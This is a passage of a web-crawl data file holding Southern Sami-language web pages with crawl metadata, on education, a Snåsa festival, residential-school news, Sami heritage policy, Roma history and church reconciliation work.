B-geajnoe lea ussjedamme dutnjien mij sjyöhtehke barkoemaahtoem åtna. Åvtekuvsjh jïh B-geajnoe leah sïejhmemes realfaage- jïh insjenöörestudiji sisnjeli.","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/www.vilbli.no\/nb\/sma\/no\/bigkeme-jih-tseegkeldahketeknihke\/program\/v.ba","date":"2022-08-16T08:11:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882572221.38\/warc\/CC-MAIN-20220816060335-20220816090335-00544.warc.gz","language":"sma","language_score":1.0000046492,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 1.0000046491622925}","num_words":192,"character_repetition_ratio":0.076,"word_repetition_ratio":0.0,"special_characters_ratio":0.139,"stopwords_ratio":0.135,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daesnie bijjieguvvie dej sijjiej bijjeli gusnie maahtah vielie bïevnesh jåarhkelïerehtimmien jïh barkoej bïjre åadtjodh.\nRaeriestæjja maahta bievnedh\n- Raeriestæjja dov skuvlesne maahta struktuvren bïjre bievnedh jåarhkelïerehtimmesne, dej ovmessie ööhpehtimmieprogrammi bïjre jïh dov veeljemenuepiej bïjre.\n- Raeriestæjjah jåarhkeskuvlijste daamtaj skuvline minnieh gusnie learohkh noeredaltesisnie.\nÖöhpehtimmie- jïh barkoemæssoeh\n- Jis ööhpehtimmie- jïh barkoemæssojne mïnnh, maahtah jïjnjh hijven bïevnesh åadtjodh.\n- Jåarhkeskuvlh daamtaj learohkh noeredaltesisnie eejhtegigujmie bööredieh bïevneseiehkiedidie jallh öörnemasse «Ræhpas biejjie».\nDååjrehtimmie ovmessie ööhpehtimmieprogrammijste\n- Mearan noereskuvlem vaadtsah edtjh praktihkeles dååjrehtimmiem åadtjodh ööhpehtimmieprogrammijste jåarhkelïerehtimmeste jïh barkoejieliedistie faagen tjïrrh ööhpehtimmieveeljeme.","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/www.vilbli.no\/nb\/sma\/no\/gusnie-aadtjoeh-vielie-daejredh-jaarhkelierehtimmien-bijre\/a\/033015","date":"2022-08-16T02:12:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882572215.27\/warc\/CC-MAIN-20220815235954-20220816025954-00544.warc.gz","language":"sma","language_score":1.0000063181,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000063180923462}","num_words":82,"character_repetition_ratio":0.107,"word_repetition_ratio":0.0,"special_characters_ratio":0.117,"stopwords_ratio":0.11,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jis edtjh dov saemiengïeleldh evtiedimmine lyhkesidh, Saemiedigkieraerie sæjhta jienebh saemiengïeleldh meatan utnedh\nAarebi saemiedigkiepresideente jïh professovre emerituse saemiengïelesne Ole Henrik Magga lea gellien aejkien jeahteme, jis saemien gïelh edtjieh båetijem aejkiem utnedh, dellie jienebh tjuerieh aelkedh saemien nuhtjedh. Gïeledotkije Berit Anne Bals Baal lea jeahteme mijjieh maehtebe ihkuven aajkan soptsestidh saemien gïele lea vihkele, men dïhte aajnehke mij maahta saemien gïelh beerkedh lea saemien gïele njaelmien sistie båata.","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/www.snasningen.no\/jis-edtjh-dov-saemieng-eleldh-evtiedimmine-lyhkesidh-saemiedigkieraerie-sajhta-jienebh-saemieng-eleldh-meatan-utnedh\/o\/5-118-22149","date":"2022-08-08T03:52:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882570765.6\/warc\/CC-MAIN-20220808031623-20220808061623-00160.warc.gz","language":"sma","language_score":0.9999923706,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999923706054688}","num_words":68,"character_repetition_ratio":0.1,"word_repetition_ratio":0.0,"special_characters_ratio":0.132,"stopwords_ratio":0.147,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjaktjen Tjåanghkoe\n- åarjelsaemien tjaktjefestivaale\n- sørsamisk høstfestival\nSnåasesne mïetsken 25.-28.b. 2022\nSnåsa 25.-28. august 2022\nAktuelt\nDaelie Tjaktjen Tjåanghkoen festivaaleprogramme riejries – Nå er Tjaktjen Tjåanghkoes festivalprogram ferdig\nFestivalpass og billetter er klare!\nNamhtah Tjaktjen Tjåanghkose dutnjien gie nuerebe goh 18 jaepien båeries! Gaajhkh darjomh namhtah bielelen Agnete Saba-konserte jïh Sančuari-konserte. Fïerhten konserten åasa lea 100,- kråvnah Festivaaleleahpa kr.: 1.040,- (pensjoniste kr. 790,-) Jis 18 jaepieh illeme jïh sïjhth jeanatjommesem Tjaktjen Tjåanghkoste dååjredh, mijjieh juvnehtibie festivaaleleahpam åestedh. Dutnjien bijjelen 18 jaepieh Dïeve paahke! Dov lea luhpie gaajhkese…\nMaanaj Tjåanghkoe\nMïetsken, duarstan 25. jïh bearjadahken 26. b. ts. 10-14 Maanide aaltarisnie 0-6 jaepieh geerve almetjinie ektine Maanaj Tjåanghkoe lea guektiengïeleldh gaavnedimmiesijjie (åarjelsaemien\/ daaroen) gusnie maanah maehtieh gaavnedidh jïh ektesne murriedidh. Maanaj Tjåanghkosne edtjebe låavthgåetesne gaavnedidh, stååkedidh jïh lustestalledh, byöpmedidh, laavlodh jïh soptsestimmieståantem Mijjen gærhkoegærjeste utnedh. Maanaj Tjåanghkoe lea laavenjostoe Suaja maanagïerten jïh Saemien Åålmegen gaskem. Programme,…\nBoelveste boelvese Fra slektsledd til slektsledd\nTïjje doekoe noeri ïedtje lea skreejrehtæjjine orreme jarkelidh jïh seabradahkem evtiedidh. Daan jaepien sïjhtebe dam aavoedidh jïh madtjeldehtedh orre jïh båeries noerh vaajmose goltelidh jïh vaajnoem nuhtjedh dïsse mij vihkele dutnjien!\n—\nUngdommens energi har gjennom alle tider vært en driver for endringer og samfunnsutvikling. I år vil vi feire dette og inspirere nye og gamle ungdommer til å lytte til hjertet og brenne for det som betyr noe for deg!\nSørsamisk høstfestival på Snåsa\nTjaktjen Tjåanghkoe arrangeres annethvert år og setter fokus på sørsamisk språk og kultur. Festivalen har en god sammensetting av kulturelt og faglig innhold.\nFestivalen ble sist arrangert høsten 2019 med tema: «Gïele lea faamoe – Power of language», dette med utgangspunkt i FNs internasjonale år for urfolkspråk i 2019 og Sannhetskommisjonens arbeid.","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/tjaktjen-tjaanghkoe.no\/","date":"2022-08-10T18:20:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882571198.57\/warc\/CC-MAIN-20220810161541-20220810191541-00422.warc.gz","language":"sma","language_score":0.9977219105,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9977219104766846}","num_words":259,"character_repetition_ratio":0.071,"word_repetition_ratio":0.0,"special_characters_ratio":0.184,"stopwords_ratio":0.069,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Les på norsk\n– Manne edtjem pilgrimefeelemisnie mïnnedh juktie böötedh jïh bueriedidh, Jupmelen aarmojne. Manne håkesjem dïhte maahta likteme- jïh jealajehtemefealadimmine viehkiehtidh, mij joe lea aalkeme, paave sov aejlegerohkelassen minngiegietjesne jeehti Vatikanesne.\nOv-mïerhkeldh kroepth\nDæjman gellie ov-mïerhkeldh kroepth byjrehtallin båeries internaateskuvlen bïjre British Columbijesne. Doh jeenjemes dejstie lin maanijste.\nBBC tjaala, ovrehte 150.000 maanah mah dagkerh skuvline veedtsin bïjre jarkan Canadasne jaepiej 1863-1996.\nDah sijjen hïejmijste vaaltasovvin akten öörnegen gaahvtan mij lij akte vuekie byjjesfaamoen pryövenasseste almetjidie assimileeredh.\nKulturelle åålmegebuvveme\nJaepien 2008 Canadan staateministeere Steven Harper gaajhkesidie gaatelassji mejtie staate lij trumhpiestamme internaateskuvlesne vaedtsedh, jïh akte saetniesvoete- jïh liktemekommisjovne tseegkesovvi.\nJaepien 2015 kommisjovne sov reektehtsem åehpiedehti jïh jeehti dïhte mij internaateskuvline sjugniehtovvi lij «kulturelle åålmegebuvveme».\nÏeskeres gaavnoeh\nKommisjovnen åvtehken mietie, Murry Sinclair, dle maanah dan noere goh 3 jaepien båeries sijjen eejhtegijstie vaaltasovvin jïh skuvlide seedtesovvin gellie tåvsenh kilomeeterh sijjen hïejmijste.\nKommisjovne aaj gaavneme dah idtjin åadtjoeh sijjen fuelkiem, gïelem jih kultuvrem dååjredh. Lohkehtæjjah jïh rektovrh aaj jeejnesh dejstie maanijste daaresjamme dovne fysiske jïh seksuelle.\nAervede gellie tåvsenh maanah leah sealadamme skïemtjelassi, nielkien jïh hoksevaanoen gaavhtan. Minngemes jaepien medtie 13.000 ov-mïerehkeldh kroepth gaavneme internaateskuvli lïhke.\n– Naakenh leah gijhteles, naakenh tuhtjieh daate joekoen vihkeles, joekoen dah mah leah katolihkh. Naan almetjiidie ij leah saaht guktie hijven goh. Dah tuhtjieh daate teaterinie domtoe, jïh daate ajve lusten gaavhtan dorjesåvva jïh ij naan tjïelke effektem vedtieh, Kisha Supernant, professovre antropologijesne Sveriges Radio jeahta.","id":"","dump":"CC-MAIN-2022-40","url":"https:\/\/www.nrk.no\/sapmi\/daelie-paave-canadan-gaajkoe-fealede-edtja-_gaatelassjedh-1.16046127","date":"2022-10-06T04:11:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-40\/segments\/1664030337723.23\/warc\/CC-MAIN-20221006025949-20221006055949-00398.warc.gz","language":"sma","language_score":0.999994874,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999948740005493}","num_words":223,"character_repetition_ratio":0.055,"word_repetition_ratio":0.0,"special_characters_ratio":0.152,"stopwords_ratio":0.112,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjaelije\nFormaate\nLohkehtæjjabïhkedimmie\nReaktah\nGaajhkh reaktah leah doelehtovveme\nMennie bielesne\n33\nBarkoegærjetje maanajgïertese.\nDaate barkoegærjetje dovne skuvlese jïh maanajgïertese gosse båatsoe-aamhtesinie edtja barkedh. Gærjetje nuhtjelge gosse ryöjredeminie naan sïjtese guessine mïnnedh. Daestie learohkh båatsoen aarkebiejjiem lierieh, bovtsen jïh bovtsen biologijen bïjre, beapmoej, vaarjoej, låavhtegi, veareldahken, daelhkien jïh gåatomen bïjre.\nGærjetjisnie aaj uvtielassh mejnie maanah aktesne maehtieh tjïskesidh, laavlomh, stååkedimmieh, vihkeles jiehtegh mejtie maanide lïerehtidh jïh jeatjah aaj learoevierhtieh seamma aamhtesasse.","id":"","dump":"CC-MAIN-2022-40","url":"https:\/\/ovttas.no\/sma\/girji_kom-pa-besok","date":"2022-09-30T22:45:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-40\/segments\/1664030335504.37\/warc\/CC-MAIN-20220930212504-20221001002504-00661.warc.gz","language":"sma","language_score":1.000007391,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 1.0000073909759521}","num_words":69,"character_repetition_ratio":0.034,"word_repetition_ratio":0.0,"special_characters_ratio":0.132,"stopwords_ratio":0.13,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Nöörjen Saemiej Rïjhkesiebrie\nSaernieh\nDaesnie maahtah vuejnedh mejnie barkeminie.Gaajhkh artihkelh\nBåetije deahpadimmieh\nVuartesjh maam deahpede organisasjovnesne.Gaajhkh deahpadimmieh\nBuerie båateme mijjese!\nDåeredh NSRm datne aaj! Sjïdth lïhtseginie jïh seedth SMSm 2090 gåajkoe teekstine NSR MEDLEM nomme årromesijjie e-påaste reakedsbiejjien jallh tjaelieh daennie tjaalegisnie.\nMaahtah aaj lïhtseginie sjïdtedh jis maaksah 150,- vippsen tjïrrh jallh 50,- (noerh nuerebe goh 26 jaepien båeries) nummerasse NSR 69515. Tjaelieh aaj dov nomme, årromesijjie, e-påaste jïh reakedsbiejjie.\nLïhtseginie Dåarjoeh mijjem","id":"","dump":"CC-MAIN-2022-40","url":"https:\/\/nsr.no\/sma\/","date":"2022-10-02T06:52:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-40\/segments\/1664030337287.87\/warc\/CC-MAIN-20221002052710-20221002082710-00709.warc.gz","language":"sma","language_score":1.0000008345,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 1.0000008344650269}","num_words":68,"character_repetition_ratio":0.076,"word_repetition_ratio":0.0,"special_characters_ratio":0.17,"stopwords_ratio":0.074,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Vaeljehke arkeologeles kultuvremojhtesh (BARK)Rïjhkeantikvaaren vaarjelimmieprogramme vaeljehke arkeologeles kultuvremojhtesidie (BARK) edtja såemies vaeljehke arkeologeles kultuvrebyjresh gorredidh jïh dejtie vuartasjæjjide sjïehteladtedh. Saemiedigkie prosjekth åtneme daennie programmesne gellie jaepieh. Ulmie lea saemien kultuvremojhtesh vuesiehtidh jïh dejtie gorredidh. Saemiedigkien barkoe lea vihkeles jis edtja saemien kultuvrebyjresh stoerre aarvojne vaarjelidh. Tsïeglesjimmien jïh bievnemen tjïrrh kultuvremojhtesijstie, daajroe saemien histovrijen, åtnoen jïh baelien bïjre læssene. Jïjtse histovrijem damtedh lea joekoen vihkeles juktie saemien identiteetem vaarjelidh jïh jåerhkedh. Bijjemes daennie sæjrosne maahtah såemies dej kultuvrebyjresi bïjre lohkedh mejtie Saemiedigkie lea sjïehteladteme.","id":"","dump":"CC-MAIN-2022-40","url":"https:\/\/sametinget.no\/kultuvremojhtese-jih-gaetievaarjelimmie\/saemien-kultuvremojhtesh-jih-eatneme\/vaeljehke-saemien-kultuvre-eatnemh\/vaeljehke-arkeoglogeles-kultuvremojhtesh-bark\/","date":"2022-10-05T12:13:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-40\/segments\/1664030337625.5\/warc\/CC-MAIN-20221005105356-20221005135356-00625.warc.gz","language":"sma","language_score":1.0000067949,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000067949295044}","num_words":83,"character_repetition_ratio":0.106,"word_repetition_ratio":0.0,"special_characters_ratio":0.117,"stopwords_ratio":0.181,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"SPR meatan Barentslaavenjostosne Saemien parlamentarihkeles raerie 3 ållesth 6 lïhtsegijstie nammohte Barents-laavenjostoen aalkoeåålmegebarkoedåahkan (WGIP). SPR lea daejtie nammoehtamme: Anni Koivisto, Soemen Saemiedigkie (åvtehke) Lars Anders Baer, Sveerjen Saemiedigkie Eirik Larsen, Nöörjen Saemiedigkie Dahkoesoejkesje maam Barents aalkoeåålmegekongresse nænnoesti 2015, barkoedåehkien barkoem åvtese muana. Gosse barkoedåehkie lea eadtjohkelaakan meatan dellie gyhtjelassh biejjieöörnegasse biejesuvvieh mejtie dagke ij leah digkiedamme jeatjah aejkieh. Barkoedåehkien lea meatanårrojestatuse tjåanghkojne Barents-raeresne jïh tjåanghkojne embetsmaenniemoenehtsisnie jïh tjåanghkojne Barents regijovneraeresne jïh moenehtsisnie. Saemien parlamentarihkeles raerie lea jïjtse politihkeles strategijem nænnoestamme EU:n bïjre, gusnie gaskem jeatjah sjæjsjalamme SPR edtja sov barkoem EU-gyhtjelassigujmie nænnoestidh. Aaj sjæjsjalamme sæjhta vihkeles årrodh stïeresne årrodh Brusselisnie jïjtse kontovrine, dagke laavenjostosne jeatjah aktöörigujmie jïh jïjtse vierhtieh nænnoestidh EU-barkose, dovne reerije jïh politihkeles daltesisnie.","id":"","dump":"CC-MAIN-2022-40","url":"https:\/\/sametinget.no\/politihke\/politihkeles-oornedimmie-jih-stuvreme\/saemien-parlamentarihkeles-raerie-spr\/spr-meatan-barentslaavenjostosne\/","date":"2022-10-05T12:30:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-40\/segments\/1664030337625.5\/warc\/CC-MAIN-20221005105356-20221005135356-00166.warc.gz","language":"sma","language_score":0.9999680519,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999680519104004}","num_words":113,"character_repetition_ratio":0.071,"word_repetition_ratio":0.0,"special_characters_ratio":0.126,"stopwords_ratio":0.124,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Romerh\nRomerh akte Sveerjen nasjonaale unnebelåhkojste. Romerh lea gïerve åtneme Sveerjesne. Dah leah sjïdteme dåålvehtamme jïh sïerredamme jïh ennje daan biejjien romerh daamtaj båajhtoeh gïetedamme. Dah voestes bïevnesh romeri bïjre Sveerjesne jaepeste 1512. Romerh dellie böötin Rysslaanten jïh Såevmien baaktoe. Dotkeme jïh aerpievuekien soptsesh aerviedieh dah aalkoevistie Indijistie jallh Egyptenistie böötin.\nIj lij aelhkie rom orreme Sveerjesne. Idtji åvteli jaepien 1959 dah åadtjoejin reaktam laaken mietie tjïrkes årromesijjiem utnedh jïh reaktam skuvlesne lohkedh. Åvteli romerh idtjin åadtjoeh guhkebe enn golme biejjieh seamma sijjesne årrodh, jïlhts dejpeli pollise bööti jïh dejtie debpede jååhkesji jallh feengki. Jaepiej 1512 jïh 1995 gaskem lij sveerjen staate ïedtjeles barkeme romeridie Sveerjeste reenskedh.","id":"","dump":"CC-MAIN-2022-49","url":"http:\/\/nolavonda.se\/sma\/romerh","date":"2022-12-09T01:35:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446711376.47\/warc\/CC-MAIN-20221209011720-20221209041720-00285.warc.gz","language":"sma","language_score":1.0000023842,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.000002384185791}","num_words":103,"character_repetition_ratio":0.022,"word_repetition_ratio":0.0,"special_characters_ratio":0.16,"stopwords_ratio":0.107,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saarnoeh amma! 1\nGIELEVIERMIE: Professor Ole Henrik Magga foreleste om samisk grammatikk under Gïeleviermie. Foto: Aino Danielsen\nGaavnedibie Rørosesne, göökte orre aamhtese-gærjetjh, radiosaadtege saemiengïelesne Sveerjen raedtesne, orre gærja saemiengïelesne. Gïeleviermie jïh Tjaktjen Tjåanghkoe Snåesesne.\nPublisert: 06.10.2015 kl 14:52\nSaernieh: Gaavnedibie Rørosesne, göökte orre aamhtese-gærjetjh, radiosaadtege saemiengïelesne Sveerjen raedtesne, orre gærja saemiengïelesne.\nGaskevåhkoen jïh duarstan minngemes våhkoen lij Gïeleviermie Snåasesne. Fïerhten mubpien jaepien gïelejarngh Nöörjeste Sveerjeste tjåanghkoem öörnedieh. Dïhte lea arena gusnie gïele lea govlesåvva jïh nænnoste. Gïeleviermien mænngan dle festivaale Tjaktjen Tjåanghkoe eelki. Fïerhten mubpien jaepien Saemien Sïjte dej ektiebarkijigujmie dam festivaalem Snåasesne öörnede.\nAkten aejkien våhkosne månnoeh Ida, giejnie manne Aajegisnie barkeminie, gaajhkide maanide Plassjeste Praahkeste tjåanghkenien. Dejtie tjåanghkojde gåhtjobe Gadtsegarhkh. Fïerhten aejkien orre aamhtese jïh darjomh, dle maanah åadtjoeh gïelem nuhtjedh jïh kultuvremaahtoem nænnoestidh. Menh vihkielommes gadtsegarhken tjåanghkoegujmie, lea ahte maanah åadtjoeh sinsitniem råakedh. Minngemes aejkien gadtsegarhki tjåanghkoe lij Skistuggusne. Desnie mijjieh byöpmedimh jïh möörjimh. Gaektsie maanah lin meatan, njieljie geerve almetjh, jïh dovne göökte bïenjh.\nGöökte orre gærjah maanide båeteme. \"Prinsessa jïh snurke\" lea voestes gærjan nomme. Sissel Jåma lea dam jarkoestamme. Mubpien nomme lea \"Krogkodilla mij idtji tjaetsiem lyjhkh\". Risten Birje Steinfjell dam jarkoestamme. Gåabpatjahkh utnieh tjaebpies guvvieh jïh luste soptsesth. Dovne göökte orre tjoejegærjah båeteme. Akte man nomme \"Staaloeh vienhtieh aske lea dålle\". Ejva Krihke Jonassen gærjam seamma nommine låhka, maam Kirsti Birkaland tjaaleme. Dan mubpien nomme lea \"Aarporten jïh åarjel-smaaregen soptsesh\". Maja Marie Jåma jïh Kjell Roger Appfjell dam lohkeme.\nNyheter: Seniortreff på Røros, to nye temahefter, særsamisk radiosending på svensk side, ny bok på sørsamisk.\nOnsdag og torsdag i forrige uke ble arrangert Gïeleviermie på Snåsa. Hvert andre år arrangerer språksenter på norsk og svensk side denne samlingen. Gïeleviermie er en arena hvor språket blir hørt og styrket. Etter gïeleviermie startet høstfestivalen Tjaktjen Tjåanghkoe. Også dette arrangementet holdes hvert andre år, og arrangeres av Saemien Sïjte i samarbeid med andre institusjoner.\nEn gang i måneden samler jeg og Ida Ljungberg, som også jobber på Aajege, samiske barn bosatt i Røros-området. Disse samlingene kaller vi Gadtsegarhkh. Med ulike temaer og aktiviteter får barna bruke og styrke sitt samiske språk og sin kulturkunnskap. Men det viktigste målet med Gadtsegarhkh sine samlinger er at de samiske barna får en arena hvor de treffes. Sist samling var på Skistuggu hvor vi spiste mat og plukka bær. Åtte barn var med oss, fire voksne og to hunder.\nDet har kommet ut to nye barnebøker på sørsamisk. Den ene heter «Prinsessa jïh snurke» (prinsessa og grisen), og er oversatt fra norsk av Sissel Jåma. Den andre boka heter «Krogkodilla mij idtji tjaetsiem lyjhkh» (Krokodillen som ikke likte vann), som er oversatt av Risten Birje Steinfjell. Begge bøkene har fine bilder og morsomme fortellinger.\nDet har også kommet to lydbøker på sørsamisk. Den ene er etter Kirsti Birkeland sin bok «Staaloeh vienhtieh aske lea dålle» (Staaloer tror at månen er et bål), og er innlest av Ejva Krihke Jonassen. Den andre lydboka heter «Aarporten jïh åarjel-smaaregen soptsesh» (Samiske fortellinger fra Hattfjelldal og Trøndelag). Boken er skrevet av Just Qvigstad og lest inn av Maja Marie Jåma og Kjell Roger Appfjell.","id":"","dump":"CC-MAIN-2022-49","url":"https:\/\/nearadio.no\/nyheter\/roros-holtalen\/samisk\/saarnoeh-amma-1\/19.10995","date":"2022-11-29T23:37:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446710712.51\/warc\/CC-MAIN-20221129232448-20221130022448-00269.warc.gz","language":"sma","language_score":0.9755343795,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9755343794822693, \"sme_Latn_score\": 0.02042878232896328}","num_words":507,"character_repetition_ratio":0.052,"word_repetition_ratio":0.012,"special_characters_ratio":0.173,"stopwords_ratio":0.049,"flagged_words_ratio":0.0,"lang_id_score":0.99,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemien aarhskuvle\nMejtie datne sïjhth dov maana edtja mealtan årrodh mijjen saemien aarhskuvlesne man nomme \"Miesieh\"? Tjaktjen 2021, tjïelte saemien aarhskuvlem Frösönisnie faala, akten biejjien våhkosne (måantaj).\nStaaren Tjïelte saemien reeremedajvese govlesåvva jïh edtja aarhskuvlem maanide faaledh mij mahte ahpe tïjjem saemiengïeleldh jis dah eejhtegh jallh åeliealmetjh dam vaajtelieh. Tjïelte tjoevere åeliealmetjh geah aarhskuvlem sijjen maanide uhtsieh gihtjedh jis dah aaj sijjiem dagkerinie aarhskuvlesne sïjhtieh.\nVåaromh\nTjaktjen jaepien 2021 tjïelte saemien aarhskuvlem akten biejjien våhkosne öörnie, menh tjïelten håhkoe jis faalenassem stueriedidh guktie aarhskuvle maahta ræhpas årrodh gaajhkh biejjiej våhkosne.\n- Dov maanan sijjie aajmojne aarhskuvlesne gusnie aarhskuvlesijjiem dejnie jeatjah biejjine åtna.\n- Eejhtegh- jïh åeliealmetjh tjoeverieh jïjtjh sijjen maanide dahkoe voejehtjidh jïh destie vïedtjedh dan biejjien våhkosne gosse aarhskuvle.\n- Jeenjemes tïjjem aarhskuvle edtja saemiengïeleldh (noerhte- jïh åarjelsaemien) årrodh jïh aarhskuvle lea saemien pedagogihken mietie juakaldihkie.\nSaemien aarhskuvlesijjiem ohtsedh\nJis sïjhth sijjiem ohtsedh daennie saemien aarhskuvlesne, maahtah nimhtie darjodh goh jeatjah sijjiem aarhskuvline ohtsh. Gåetiesæjroen menyesne tjoeverh \"saemien aarhskuvlem\" veeljedh.\nGovlehth saemien aarhskuvlem\nJis sïjhth vielie daejredh jallh dov leah gyhtjelassh maahtah saemien aarhskuvlen rektovrem govlehtidh.","id":"","dump":"CC-MAIN-2022-49","url":"https:\/\/www.ostersund.se\/andra-sprak\/aarjelsaeminen-sydsamiska\/saemien-aarhskuvle.html","date":"2022-12-02T03:39:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446710890.97\/warc\/CC-MAIN-20221202014312-20221202044312-00472.warc.gz","language":"sma","language_score":1.0000047684,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"sma_Latn_score\": 1.000004768371582}","num_words":172,"character_repetition_ratio":0.13,"word_repetition_ratio":0.0,"special_characters_ratio":0.144,"stopwords_ratio":0.11,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Laanteburrieeekh jïh årromedïedte\nDah eekh leah våarome aarvoesjugniedæmman laanteburresne. Konsesjovnelaake mahte iktegisth faamoem åtna, dovne jis edtja åestedh jallh jåartaeekem eerpedh. Dïhte guhte åasta jallh laanteburrieeekem eerpie gusnie ij guhte årroeh, jallh eekem gusnie naaken orre mij lea stuerebe goh ållesth 100 \/ 35 dekar ientjh, tjuara konsesjovnen bïjre syökedh.\nKonsesjovnelaake\nKonsesjovnelaaken åssjele lea dam aerpievuekien fuelhkielaanteburriem dåarjedidh, men laake aaj nuhteligs dejtie mah sijhtieh eekh evtiedidh orre jielemigujmie, jïh dejtie mah sijhtieh aktene gaertienisnie årrodh.\nÅrromedïedte\nAkte politihkeles ulmie almetjh abpe laantesne årroeminie, jïh dïhte gorresåvva gaskem jeatjah årromedïedten tjïrrh. Laaken mietie dle årromedïedtem åtna jis dïhte guhte odelem åtna jallh lïhke slïekte, aajhterinie sjædta aktede eekeste mij lea stuerebe goh 35 dekar ientjh, jallh 500 dekar skåajje. Maahta aaj årromedïedtem krïevedh aktene konsesjovneaamhtesisnie. Fïerhte tjïelte maahta aaj årromedïedtem krïevedh dejstie mah åestieh jallh gåetieh eerpieh gusnie maahta abpe jaepien årrodh.\nJåartelaake\nJåartalaake guvviem vuesehte dehtie laanteburriepolitihkeles ulmeste, mij lea arealevierhtide gorredidh jïh vierhtide tjåadtjoehtidh jïh eevtjedh fïerhtene gaertienisnie. Daate sæjhta jiehtedh dïhte guhte ientjem eekie, dïedtem åtna jåartam sjïdtedehtedh.\nTjïelte aamhtesh gïetede jïh sjæjsjele jåartalaaken jïh konsesjovnelaaken mietie, jïh Fylhkenålma lea klååkemesuerkie.","id":"","dump":"CC-MAIN-2022-49","url":"https:\/\/www.statsforvalteren.no\/sma\/portal\/Laanteburrie-jih-beapmoe\/Laanteburrieeekh-jih-arromediedte\/","date":"2022-12-03T05:07:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446710924.83\/warc\/CC-MAIN-20221203043643-20221203073643-00366.warc.gz","language":"sma","language_score":1.0000035763,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 1.0000035762786865}","num_words":179,"character_repetition_ratio":0.076,"word_repetition_ratio":0.0,"special_characters_ratio":0.144,"stopwords_ratio":0.123,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ruffien asken 2021 gærhkoeståvroe gaektsie ulmietjaalegi bïjre nænnosti Svïenske gærhkoen aantegesen gaavhtan saemiej ålmegasse. Nænnoestimmesne gaektsie luhpieh guktie barked jïh 40 miljonh kråvnah barkose luhkie jaepiej nuelelen vaadteme. Nænnoestimmien ulmie lea barkoesoejhkesjem tjaeledh båetije barkose guktie Svïenske gærhkoen luhpide buektiehtidh jaepide 2022–2031 Saemien gærhkoeraerine jïh stiftigujmie ektine.\nLuhpiej gaavhtan tjoeverin ulmie buektiehtidh guktie måahtedimmiebarkojne jåerhkedh. Svïenske gærhkoe stinkeslaakan barkeminie Svïenske gærhkosne struktuvrh gaavnedh guktie barkedh saemiej sadthalmetji gujmie. Barkosne daerpies guhkies vååjnoes tjarkadihks barkoem buektiehtidh jïh transparensem jïh ektiedïedtem vaarjelidh båetije ektieprosessesne.\nSaemien barkoe Svïenske gærhkosne galka öövtiedidh dej gaektsie stoerre ulmietjaalegi mietie. Fïerhten ulmietjaalegen nueleln åenehks buerkiestimmie man bïjre maahtah lohkedh. Råajvarimmieh fïerhtene luhpien nueleln stonkehke buerkiestamme soejhkesjimmesne.\n1. Vaentjelem saemien gïelesne jïh saemien kultuvrekontexten mietie lohkehtidh jïh saemien gærhkoe aerpiem krööhkestidh\nVaentjelem govledh jijtjene vaajmoen gïelesne dellie 